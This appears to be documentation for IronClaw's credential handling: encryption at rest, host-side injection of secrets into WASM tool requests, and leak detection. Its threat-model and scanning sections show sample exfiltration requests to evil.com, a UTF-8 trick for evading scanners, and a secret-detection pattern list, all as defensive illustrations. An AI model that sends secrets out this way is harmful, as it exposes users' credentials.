Credential Management

IronClaw ensures that secrets are never exposed to WASM tools. Credentials are encrypted at rest, injected at the host boundary during HTTP requests, and all outputs are scanned for leakage.

Security Model

Three core principles:

Secrets never enter WASM memory - Tools can check existence, not read values
Encryption at rest - AES-256-GCM with per-secret key derivation
Leak detection - All outbound requests and responses are scanned

Architecture

┌─────────────────────────────────────────────────────────────────┐
│                      Secret Lifecycle                           │
│                                                                  │
│  User stores secret ──► Encrypt (AES-256-GCM) ──► PostgreSQL    │
│                        (per-secret HKDF key)                     │
│                                                                  │
│  WASM requests HTTP ──► Allowlist check ──► Decrypt secret     │
│                                                │                 │
│                                                ▼                 │
│                              Leak scan request ──► Inject         │
│                              (block if leaked)     credential     │
│                                                         │        │
│                                                         ▼        │
│                                                  Execute HTTP    │
│                                                         │        │
│                                                         ▼        │
│                              Leak scan response ◄── Response     │
│                              (redact if leaked)                   │
│                                                │                 │
│                                                ▼                 │
│                              Return to WASM (sanitized)          │
└─────────────────────────────────────────────────────────────────┘

Encryption at Rest

Cryptographic Primitives

Algorithm: AES-256-GCM (authenticated encryption)
Key derivation: HKDF-SHA256 (per-secret keys from master key)
Salt size: 32 bytes (random per secret)
Nonce size: 12 bytes (random per encryption)
Tag size: 16 bytes (authentication tag)

Key Derivation

Each secret gets its own encryption key derived from the master key:

master_key (from env/keychain) ──┬──► HKDF-SHA256 ──► derived_key
                                │
per-secret salt (32 bytes) ─────┘

From src/secrets/crypto.rs:129-140:

fn derive_key(&self, salt: &[u8]) -> Result<[u8; 32]> {
    let master_bytes = self.master_key.expose_secret().as_bytes();
    
    // HKDF extract + expand
    let hk = Hkdf::<Sha256>::new(Some(salt), master_bytes);
    
    let mut derived = [0u8; 32];
    hk.expand(b"near-agent-secrets-v1", &mut derived)?;
    
    Ok(derived)
}

This means:

Two secrets with the same plaintext have different ciphertexts
Compromising one secret doesn’t compromise others
Master key rotation requires re-encrypting all secrets

Encryption Process

From src/secrets/crypto.rs:66-93:

pub fn encrypt(&self, plaintext: &[u8]) -> Result<(Vec<u8>, Vec<u8>)> {
    // 1. Generate random salt
    let salt = Self::generate_salt(); // 32 random bytes
    
    // 2. Derive encryption key from master key + salt
    let derived_key = self.derive_key(&salt)?;
    
    // 3. Create AES-256-GCM cipher
    let cipher = Aes256Gcm::new_from_slice(&derived_key)?;
    
    // 4. Generate random nonce
    let nonce = Aes256Gcm::generate_nonce(&mut OsRng); // 12 random bytes
    
    // 5. Encrypt (includes authentication tag)
    let ciphertext = cipher.encrypt(&nonce, plaintext)?;
    
    // 6. Combine: nonce || ciphertext || tag
    let mut encrypted = Vec::new();
    encrypted.extend_from_slice(&nonce);
    encrypted.extend_from_slice(&ciphertext);
    
    Ok((encrypted, salt))
}

Stored in database:

encrypted_value: nonce (12 bytes) + ciphertext + tag (16 bytes)
key_salt: 32-byte salt for key derivation

Decryption Process

From src/secrets/crypto.rs:99-126:

pub fn decrypt(&self, encrypted_value: &[u8], salt: &[u8]) -> Result<DecryptedSecret> {
    // 1. Derive the same key using stored salt
    let derived_key = self.derive_key(salt)?;
    
    // 2. Create cipher
    let cipher = Aes256Gcm::new_from_slice(&derived_key)?;
    
    // 3. Split: nonce || ciphertext
    let (nonce_bytes, ciphertext) = encrypted_value.split_at(12);
    let nonce = Nonce::from_slice(nonce_bytes);
    
    // 4. Decrypt + verify authentication tag
    let plaintext = cipher.decrypt(nonce, ciphertext)?; // Fails if tampered
    
    DecryptedSecret::from_bytes(plaintext)
}

Decryption automatically verifies the authentication tag. Tampered ciphertext is rejected.

Master Key Storage

Option 1: OS Keychain (Recommended)

Auto-generated during onboarding:

ironclaw onboard
# Generates 32-byte key, stores in:
# - macOS: Keychain Access
# - Windows: Credential Manager
# - Linux: Secret Service (GNOME Keyring, KWallet)

Implementation in src/secrets/keychain.rs.

Option 2: Environment Variable

For CI/Docker deployments:

# Generate secure key
openssl rand -base64 32

# Set environment variable
export SECRETS_MASTER_KEY="<generated-key>"

Key requirements:

Minimum length: 32 bytes
Entropy: High-quality randomness (use openssl rand, not keyboard mashing)
Storage: Secure vault (e.g., AWS Secrets Manager, HashiCorp Vault)

Credential Injection

WASM tools never receive plaintext secrets. Instead, the host injects credentials at the HTTP boundary.

WASM Perspective

Tools can only:

Check existence:

let exists = secret_exists("openai_api_key"); // Returns: true/false

Trigger injection (implicitly via HTTP capability):

{
  "http": {
    "credentials": [
      {
        "secret_name": "openai_api_key",
        "location": { "AuthorizationBearer": {} },
        "host_patterns": ["api.openai.com"]
      }
    ]
  }
}

Tools cannot:

❌ Read secret values
❌ List available secrets
❌ Access secrets not in their allowed_names

Host Injection Process

From src/tools/wasm/credential_injector.rs:

// 1. WASM calls http_request("https://api.openai.com/v1/chat", ...)
pub fn http_request(url: &str, headers: &[(String, String)]) {
    // 2. Check allowlist
    allowlist_validator.validate(url, "POST")?;
    
    // 3. Find matching credential mapping
    let mapping = find_credential_for_host(url)?;
    
    // 4. Decrypt secret (in memory only)
    let decrypted = secrets_store.get_decrypted(user_id, mapping.secret_name).await?;
    
    // 5. Inject based on location
    match mapping.location {
        CredentialLocation::AuthorizationBearer => {
            headers.push(("Authorization", format!("Bearer {}", decrypted.expose())));
        }
        CredentialLocation::Header { name, prefix } => {
            let value = if let Some(p) = prefix {
                format!("{}{}", p, decrypted.expose())
            } else {
                decrypted.expose().to_string()
            };
            headers.push((name, value));
        }
        CredentialLocation::QueryParam { name } => {
            url = add_query_param(url, name, decrypted.expose());
        }
    }
    
    // 6. Secret is dropped here (memory zeroed)
    
    // 7. Execute request
    execute_http(url, headers).await
}

Injection Locations

From src/secrets/types.rs:198-214:

Authorization Bearer

CredentialLocation::AuthorizationBearer

Injects as:

Authorization: Bearer <secret>

Authorization Basic

CredentialLocation::AuthorizationBasic { username: "api" }

Injects as:

Authorization: Basic <base64(username:secret)>

Custom Header

CredentialLocation::Header {
    name: "X-API-Key",
    prefix: Some("Bearer "),
}

Injects as:

X-API-Key: Bearer <secret>

Query Parameter

CredentialLocation::QueryParam { name: "api_key" }

Injects as:

https://api.example.com/data?api_key=<secret>

Example: OpenAI API

Capabilities file:

{
  "http": {
    "allowlist": [
      {
        "host": "api.openai.com",
        "path_prefix": "/v1/",
        "methods": ["POST"]
      }
    ],
    "credentials": [
      {
        "secret_name": "openai_api_key",
        "location": { "AuthorizationBearer": {} },
        "host_patterns": ["api.openai.com"]
      }
    ]
  },
  "secrets": {
    "allowed_names": ["openai_api_key"]
  }
}

Flow:

WASM calls: http_request("https://api.openai.com/v1/chat/completions", ...)
Host checks: ✓ Allowlist allows this endpoint
Host finds: Credential mapping for api.openai.com
Host decrypts: openai_api_key secret
Host injects: Authorization: Bearer sk-proj-...
Host executes: HTTP POST with injected header
WASM receives: Response (after leak scanning)

Leak Detection

All data crossing the WASM boundary is scanned for secrets.

Scan Points

Outbound HTTP requests (before execution)
- URL
- Headers
- Request body
Inbound HTTP responses (before returning to WASM)
- Response body
- Response headers (optional)
Tool outputs (before showing to user)
- All tool result text
User input (before sending to LLM)
- Detect accidentally pasted secrets

Detection Patterns

From src/safety/leak_detector.rs:414-531:

Pattern	Example	Action
OpenAI API key	`sk-proj-...`	Block
Anthropic API key	`sk-ant-api...`	Block
AWS Access Key	`AKIAIOSFODNN7EXAMPLE`	Block
GitHub token	`ghp_...`	Block
GitHub PAT	`github_pat_...`	Block
Stripe key	`sk_live_...`	Block
NEAR AI session	`sess_...`	Block
PEM private key	`-----BEGIN PRIVATE KEY-----`	Block
SSH private key	`-----BEGIN OPENSSH PRIVATE KEY-----`	Block
Google API key	`AIza...`	Block
Slack token	`xoxb-...`	Block
Bearer token	`Bearer <long-string>`	Redact
High-entropy hex	64-char hex string	Warn

Scan Algorithm

Two-phase matching for performance: Phase 1: Aho-Corasick prefix matching

// Extract literal prefixes from regex patterns
// e.g., "sk-proj-" from r"sk-proj-[a-zA-Z0-9]{20,}"
let prefixes = extract_prefixes(&patterns);
let ac = AhoCorasick::new(&prefixes);

// Fast check: does content contain any prefix?
let candidates = ac.find_iter(content);

Phase 2: Full regex validation

// Only check patterns whose prefixes matched
for pattern in candidate_patterns {
    for match in pattern.regex.find_iter(content) {
        matches.push(LeakMatch { ... });
    }
}

This hybrid approach is orders of magnitude faster than checking all regex patterns.

Leak Actions

From src/safety/leak_detector.rs:46-65:

pub enum LeakAction {
    Block,   // Reject the request/response entirely
    Redact,  // Replace secret with [REDACTED]
    Warn,    // Log warning, allow content
}

Block: Critical secrets (API keys, private keys)

if result.should_block {
    return Err(LeakDetectionError::SecretLeakBlocked {
        pattern: "openai_api_key",
        preview: "sk-pr****cdef",
    });
}

Redact: Less critical patterns (bearer tokens)

let redacted = apply_redactions(content, &redact_ranges);
// "Authorization: Bearer ey..." -> "Authorization: [REDACTED]"

Warn: Low-confidence matches (high-entropy hex)

tracing::warn!(
    pattern = "high_entropy_hex",
    preview = "a3f5****b2c1",
    "Potential secret leak detected (warning only)"
);

Secret Masking

Secrets in logs/errors are partially masked:

fn mask_secret(secret: &str) -> String {
    if secret.len() <= 8 {
        return "*".repeat(secret.len());
    }
    
    let prefix: String = secret.chars().take(4).collect();
    let suffix: String = secret.chars().skip(secret.len() - 4).collect();
    let middle_len = secret.len() - 8;
    
    format!("{}{}{}", prefix, "*".repeat(middle_len.min(8)), suffix)
}

Examples:

sk-proj-abc123def456ghi789 → sk-p********i789
AKIAIOSFODNN7EXAMPLE → AKIA********MPLE
short → *****

HTTP Request Scanning

From src/safety/leak_detector.rs:294-326:

pub fn scan_http_request(
    &self,
    url: &str,
    headers: &[(String, String)],
    body: Option<&[u8]>,
) -> Result<(), LeakDetectionError> {
    // 1. Scan URL
    self.scan_and_clean(url)?;
    
    // 2. Scan each header value
    for (name, value) in headers {
        self.scan_and_clean(value)
            .map_err(|e| LeakDetectionError::SecretLeakBlocked {
                pattern: format!("header:{}", name),
                preview: e.to_string(),
            })?;
    }
    
    // 3. Scan body (use lossy UTF-8 conversion)
    if let Some(body_bytes) = body {
        let body_str = String::from_utf8_lossy(body_bytes);
        self.scan_and_clean(&body_str)?;
    }
    
    Ok(())
}

This catches exfiltration attempts like:

GET https://evil.com/steal?key=AKIAIOSFODNN7EXAMPLE  // ❌ Blocked
POST https://api.example.com
X-Exfil: sk-proj-abc123...                           // ❌ Blocked
{"stolen": "ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}  // ❌ Blocked

Database Schema

Secrets table (PostgreSQL):

CREATE TABLE secrets (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    user_id TEXT NOT NULL,
    name TEXT NOT NULL,
    encrypted_value BYTEA NOT NULL,  -- nonce || ciphertext || tag
    key_salt BYTEA NOT NULL,         -- 32-byte salt for HKDF
    provider TEXT,                   -- Optional: "openai", "stripe", etc.
    expires_at TIMESTAMPTZ,          -- Optional expiration
    last_used_at TIMESTAMPTZ,        -- Track usage
    usage_count BIGINT DEFAULT 0,    -- Audit trail
    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW(),
    UNIQUE(user_id, name)            -- One secret per name per user
);

Key points:

encrypted_value and key_salt stored as binary blobs
name is case-insensitive (normalized to lowercase)
usage_count incremented on each injection (audit trail)
No plaintext values stored anywhere

Secret Lifecycle

1. Creation

use ironclaw::secrets::{SecretsStore, CreateSecretParams};

let params = CreateSecretParams::new("openai_api_key", "sk-proj-...");
store.create("user_123", params).await?;

Flow:

User provides plaintext secret
Generate random 32-byte salt
Derive encryption key via HKDF(master_key, salt)
Generate random 12-byte nonce
Encrypt with AES-256-GCM
Store encrypted_value and key_salt in database
Zero plaintext memory

2. Existence Check (WASM)

let exists = store.exists("user_123", "openai_api_key").await?;
// Returns: true/false (no decryption needed)

3. Injection (Host Only)

let decrypted = store.get_decrypted("user_123", "openai_api_key").await?;
// Returns: DecryptedSecret (held in secure memory)

// Use immediately
let header = format!("Bearer {}", decrypted.expose());

// DecryptedSecret dropped here, memory zeroed

4. Rotation

let new_params = CreateSecretParams::new("openai_api_key", "sk-proj-NEW...");
store.update("user_123", "openai_api_key", new_params).await?;

Old secret is overwritten, new salt/nonce generated.

5. Deletion

store.delete("user_123", "openai_api_key").await?;

Database row deleted. Encrypted value is lost (irreversible).

Security Audit

Threat: WASM Tool Tries to Read Secrets

Attack: WASM calls get_secret("openai_api_key") Defense: Function not exposed. Only secret_exists() available.

Threat: WASM Tool Exfiltrates Secret via HTTP

Attack: WASM includes secret in URL/body

http_request("https://evil.com/steal?key=sk-proj-...", ...)

Defense: Leak detector blocks request before execution.

Threat: Secret Appears in Tool Output

Attack: WASM echoes secret in response

return format!("Using key: {}", secret);  // But WASM never has secret!

Defense:

WASM can’t access secret (no plaintext in memory)
If somehow leaked, output sanitizer redacts it

Threat: Binary Body Exfiltration

Attack: Prepend invalid UTF-8 byte to evade string scanning

let mut body = vec![0xFF];  // Invalid UTF-8 lead byte
body.extend_from_slice(b"sk-proj-abc123...");

Defense: Leak detector uses lossy UTF-8 conversion

let body_str = String::from_utf8_lossy(body_bytes);
self.scan_and_clean(&body_str)?;  // Still scans the secret

Threat: Database Dump

Attack: Attacker gains read access to PostgreSQL Defense: All secrets are encrypted. Without master key, ciphertext is useless.

Threat: Master Key Compromise

Attack: Attacker steals SECRETS_MASTER_KEY env var Defense:

Use OS keychain (harder to extract)
Rotate master key + re-encrypt all secrets
Audit logs for suspicious decryption activity

Best Practices

For Developers

Never log decrypted secrets

// ❌ BAD
tracing::info!("Using API key: {}", decrypted.expose());

// ✓ GOOD
tracing::info!("Using API key: {}", decrypted.len());

Minimize plaintext lifetime

// Decrypt, use immediately, drop
let decrypted = store.get_decrypted(user, name).await?;
let header = format!("Bearer {}", decrypted.expose());
// decrypted dropped here

Check leak detection results

let result = leak_detector.scan(&content);
if result.should_block {
    return Err(...);
}
if !result.is_clean() {
    tracing::warn!("Potential leak: {:?}", result.matches);
}

For Users

Use short-lived secrets when possible

let params = CreateSecretParams::new("temp_token", "...")
    .with_expiry(Utc::now() + Duration::hours(1));

Rotate secrets regularly

ironclaw config set openai_api_key <new-key>

Monitor usage

SELECT name, usage_count, last_used_at FROM secrets WHERE user_id = 'you';

Secure master key

OS keychain: Backed up with system backups
Env var: Store in secure vault (AWS Secrets Manager, etc.)

Source Code References

Encryption: src/secrets/crypto.rs:38-141
Secret types: src/secrets/types.rs:1-285
Leak detector: src/safety/leak_detector.rs:132-338
Credential injection: src/tools/wasm/credential_injector.rs
Keychain integration: src/secrets/keychain.rs

​Security Model

​Architecture

​Encryption at Rest

​Cryptographic Primitives

​Key Derivation

​Encryption Process

​Decryption Process

​Master Key Storage

​Option 1: OS Keychain (Recommended)

​Option 2: Environment Variable

​Credential Injection

​WASM Perspective

​Host Injection Process

​Injection Locations

​Authorization Bearer

​Authorization Basic

​Custom Header

​Query Parameter

​Example: OpenAI API

​Leak Detection

​Scan Points

​Detection Patterns

​Scan Algorithm

​Leak Actions

​Secret Masking

​HTTP Request Scanning

​Database Schema

​Secret Lifecycle

​1. Creation

​2. Existence Check (WASM)

​3. Injection (Host Only)

​4. Rotation

​5. Deletion

​Security Audit

​Threat: WASM Tool Tries to Read Secrets

​Threat: WASM Tool Exfiltrates Secret via HTTP

​Threat: Secret Appears in Tool Output

​Threat: Binary Body Exfiltration

​Threat: Database Dump

​Threat: Master Key Compromise

​Best Practices

​For Developers

​For Users

​Source Code References

​See Also

Security Model

Architecture

Encryption at Rest

Cryptographic Primitives

Key Derivation

Encryption Process

Decryption Process

Master Key Storage

Option 1: OS Keychain (Recommended)

Option 2: Environment Variable

Credential Injection

WASM Perspective

Host Injection Process

Injection Locations

Authorization Bearer

Authorization Basic

Custom Header

Query Parameter

Example: OpenAI API

Leak Detection

Scan Points

Detection Patterns

Scan Algorithm

Leak Actions

Secret Masking

HTTP Request Scanning

Database Schema

Secret Lifecycle

1. Creation

2. Existence Check (WASM)

3. Injection (Host Only)

4. Rotation

5. Deletion

Security Audit

Threat: WASM Tool Tries to Read Secrets

Threat: WASM Tool Exfiltrates Secret via HTTP

Threat: Secret Appears in Tool Output

Threat: Binary Body Exfiltration

Threat: Database Dump

Threat: Master Key Compromise

Best Practices

For Developers

For Users

Source Code References

See Also